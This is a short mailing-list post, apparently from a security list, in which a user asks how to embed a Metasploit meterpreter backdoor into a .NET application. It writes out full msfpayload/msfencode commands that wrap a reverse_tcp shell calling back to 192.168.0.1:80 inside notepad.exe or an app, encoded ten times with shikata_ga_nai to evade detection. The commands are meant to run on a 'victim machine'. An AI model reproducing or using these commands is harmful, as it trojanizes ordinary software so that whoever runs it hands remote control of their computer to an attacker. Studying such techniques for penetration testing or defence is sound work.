Attaching Meterpreter to a Managed Code Binary like a VB.NET or C#.NET app?

[Jeremy <jeremy () sudosecure net>]

Anyone ever try attaching a meterpreter backdoor payload to a managed
code binary generated from something like VB.net?  I can attach
meterpreter to a native binary like this all day long:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=80
R | msfencode -x notepad.exe -k -o notepad_new.exe -e
x86/shikata_ga_nai -c 10 -t exe

But lets say the managed code .NET app is called "vbapp.exe" I try this command:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=80
R | msfencode -x vbapp.exe -k -o vbapp_new.exe -e x86/shikata_ga_nai
-c 10 -t exe

and it fails to execute on the victim machine.  It raises an exemption
with "The application failed to initialize properly. (0xc000007b).
Click ok to terminate the application."

Anyways thought I would ask before I started stepping through the
process just in case someone spotted a issue with my syntax or has
done this before and has a work around.  ;)

Thanks in advance for any advice and/or help.

--jeremy
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